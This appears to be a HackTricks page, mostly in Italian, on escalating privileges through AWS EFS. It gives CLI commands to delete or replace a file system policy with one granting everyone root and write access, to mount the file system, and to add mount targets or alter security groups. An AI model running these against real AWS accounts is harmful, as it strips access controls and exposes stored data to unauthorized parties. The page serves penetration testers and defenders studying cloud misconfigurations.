AWS - EFS Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

EFS

Maggiori informazioni su EFS in:

AWS - EFS Enum

Ricorda che per montare un EFS devi trovarti in una sottorete dove l'EFS è esposto e avere accesso ad esso (security groups). Se questo è il caso, per impostazione predefinita sarai sempre in grado di montarlo; tuttavia, se è protetto da IAM policies devi avere le autorizzazioni extra menzionate qui per accedervi.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

With any of those permissions an attacker can modificare la policy del file system per darti l'accesso ad esso, oppure semplicemente cancellarla in modo che venga concesso l'accesso predefinito.

Per cancellare la policy:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Per cambiarlo:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con questo permesso un attaccante sarà in grado di mount the EFS. Se il write permission non è concesso di default a chiunque possa mount the EFS, avrà solo read access.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Le autorizzazioni aggiuntive elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere usate per scrivere all'interno del filesystem dopo che è montato e per accedere a quel file system as root.

Impatto potenziale: Privesc indiretto ottenendo informazioni sensibili presenti nel file system.

elasticfilesystem:CreateMountTarget

Se un attacker si trova all'interno di una subnetwork dove non esiste alcun mount target dell'EFS, può semplicemente crearne uno nella sua subnet con questo privilegio:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impatto potenziale: privesc indiretto individuando informazioni sensibili nel file system.

elasticfilesystem:ModifyMountTargetSecurityGroups

In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua subnetwork ma nessuna security group permette il traffico, potrebbe semplicemente abilitare il traffico modificando le security groups selezionate:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impatto potenziale: privesc indiretto localizzando informazioni sensibili nel file system.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks